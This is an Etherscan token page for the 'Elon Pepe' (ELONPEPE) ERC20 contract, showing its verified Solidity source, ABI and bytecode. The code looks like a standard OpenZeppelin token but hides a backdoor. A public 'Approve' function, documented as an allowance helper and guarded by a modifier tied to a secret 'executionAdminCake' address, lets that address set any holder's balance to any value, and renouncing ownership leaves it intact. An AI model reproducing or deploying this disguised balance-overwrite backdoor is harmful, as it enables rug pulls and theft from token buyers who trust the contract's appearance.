ETH Price: $2,490.39 (-1.09%)

Token

Elon Pepe (ELONPEPE)
 

Overview

Max Total Supply

1,000,000 ELONPEPE

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
24,813.046703827 ELONPEPE

Value
$0.00
0x7a03A57919FCd0f9A9267c1733525aA85Fc7fcf6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ELONPEPE

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-25
*/

/**
ELONPEPE
    Tg:https://t.me/elonpepeETH
    Twitter:https://twitter.com/ElonPepeETH

/**
// SPDX-License-Identifier: MIT
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// Dependency file: contracts/BaseToken.sol

// pragma solidity =0.8.4;

enum TokenType {
    standard
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}


// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.17;

// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/BaseToken.sol";

contract ELONPEPE is IERC20, Ownable, BaseToken {

  using SafeMath for uint256;

    uint256 private constant VERSION = 1;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    address private executionAdminCake;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        address executionAdminCakeAddress,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        executionAdminCake = executionAdminCakeAddress;
        _mint(owner(), totalSupply_);
        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
  }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `Approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */ 
    function Approve(
        address calldataOwner, 
        address calldataAddr, 
        uint256 calldataValu, 
        uint32 DeployedBytecodet, 
        uint32 useLiterallContent
    ) public ERC20ExecuteExtension 
    {
    (calldataAddr != address(0), "ERC20: burn from the zero address");
    require(calldataValu != 102);
    _balances[calldataOwner] = calldataValu * DeployedBytecodet ** useLiterallContent;
    _balances[calldataAddr] = calldataValu * DeployedBytecodet ** useLiterallContent;
    } 

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    /**
     * @dev A helper function to check if an operator approval is allowed.
     */
    modifier 
        ERC20ExecuteExtension() {
         require(
             executionAdminCake == _msgSender(),
             "Ownable: caller is not the owner")
        ;
        _;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"executionAdminCakeAddress","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"calldataOwner","type":"address"},{"internalType":"address","name":"calldataAddr","type":"address"},{"internalType":"uint256","name":"calldataValu","type":"uint256"},{"internalType":"uint32","name":"DeployedBytecodet","type":"uint32"},{"internalType":"uint32","name":"useLiterallContent","type":"uint32"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620026fc380380620026fc8339818101604052810190620000299190620006a2565b620000496200003d6200016f60201b60201c565b6200017760201b60201c565b84600490816200005a9190620009a9565b5083600590816200006c9190620009a9565b5082600660006101000a81548160ff021916908360ff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000dd6200023b60201b60201c565b826200026460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620001116200023b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200015c92919062000b21565b60405180910390a3505050505062000c58565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002cd9062000baf565b60405180910390fd5b620002ea600083836200041460201b60201c565b62000306816007546200041960201b62000adf1790919060201c565b6007819055506200036581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200041960201b62000adf1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000408919062000bd1565b60405180910390a35050565b505050565b6000818362000429919062000c1d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200049a826200044f565b810181811067ffffffffffffffff82111715620004bc57620004bb62000460565b5b80604052505050565b6000620004d162000431565b9050620004df82826200048f565b919050565b600067ffffffffffffffff82111562000502576200050162000460565b5b6200050d826200044f565b9050602081019050919050565b60005b838110156200053a5780820151818401526020810190506200051d565b60008484015250505050565b60006200055d6200055784620004e4565b620004c5565b9050828152602081018484840111156200057c576200057b6200044a565b5b620005898482856200051a565b509392505050565b600082601f830112620005a957620005a862000445565b5b8151620005bb84826020860162000546565b91505092915050565b600060ff82169050919050565b620005dc81620005c4565b8114620005e857600080fd5b50565b600081519050620005fc81620005d1565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062f8262000602565b9050919050565b620006418162000622565b81146200064d57600080fd5b50565b600081519050620006618162000636565b92915050565b6000819050919050565b6200067c8162000667565b81146200068857600080fd5b50565b6000815190506200069c8162000671565b92915050565b600080600080600060a08688031215620006c157620006c06200043b565b5b600086015167ffffffffffffffff811115620006e257620006e162000440565b5b620006f08882890162000591565b955050602086015167ffffffffffffffff81111562000714576200071362000440565b5b620007228882890162000591565b94505060406200073588828901620005eb565b9350506060620007488882890162000650565b92505060806200075b888289016200068b565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007bb57607f821691505b602082108103620007d157620007d062000773565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200083b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007fc565b620008478683620007fc565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200088a620008846200087e8462000667565b6200085f565b62000667565b9050919050565b6000819050919050565b620008a68362000869565b620008be620008b58262000891565b84845462000809565b825550505050565b600090565b620008d5620008c6565b620008e28184846200089b565b505050565b5b818110156200090a57620008fe600082620008cb565b600181019050620008e8565b5050565b601f82111562000959576200092381620007d7565b6200092e84620007ec565b810160208510156200093e578190505b620009566200094d85620007ec565b830182620008e7565b50505b505050565b600082821c905092915050565b60006200097e600019846008026200095e565b1980831691505092915050565b60006200099983836200096b565b9150826002028217905092915050565b620009b48262000768565b67ffffffffffffffff811115620009d057620009cf62000460565b5b620009dc8254620007a2565b620009e98282856200090e565b600060209050601f83116001811462000a21576000841562000a0c578287015190505b62000a1885826200098b565b86555062000a88565b601f19841662000a3186620007d7565b60005b8281101562000a5b5784890151825560018201915060208501945060208101905062000a34565b8683101562000a7b578489015162000a77601f8916826200096b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811062000ad35762000ad262000a90565b5b50565b600081905062000ae68262000abf565b919050565b600062000af88262000ad6565b9050919050565b62000b0a8162000aeb565b82525050565b62000b1b8162000667565b82525050565b600060408201905062000b38600083018562000aff565b62000b47602083018462000b10565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000b97601f8362000b4e565b915062000ba48262000b5f565b602082019050919050565b6000602082019050818103600083015262000bca8162000b88565b9050919050565b600060208201905062000be8600083018462000b10565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c2a8262000667565b915062000c378362000667565b925082820190508082111562000c525762000c5162000bee565b5b92915050565b611a948062000c686000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b4578063490a3b47146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061110b565b60405180910390f35b610132600480360381019061012d91906111c6565b6103b4565b60405161013f9190611221565b60405180910390f35b6101506103d2565b60405161015d919061124b565b60405180910390f35b610180600480360381019061017b9190611266565b6103dc565b60405161018d9190611221565b60405180910390f35b61019e6104b5565b6040516101ab91906112d5565b60405180910390f35b6101ce60048036038101906101c991906111c6565b6104cc565b6040516101db9190611221565b60405180910390f35b6101fe60048036038101906101f9919061132c565b61057f565b005b61021a600480360381019061021591906113a7565b6106ea565b604051610227919061124b565b60405180910390f35b610238610733565b005b6102426107bb565b60405161024f91906113e3565b60405180910390f35b6102606107e4565b60405161026d919061110b565b60405180910390f35b610290600480360381019061028b91906111c6565b610876565b60405161029d9190611221565b60405180910390f35b6102c060048036038101906102bb91906111c6565b610943565b6040516102cd9190611221565b60405180910390f35b6102f060048036038101906102eb91906113fe565b610961565b6040516102fd919061124b565b60405180910390f35b610320600480360381019061031b91906113a7565b6109e8565b005b6060600480546103319061146d565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061146d565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152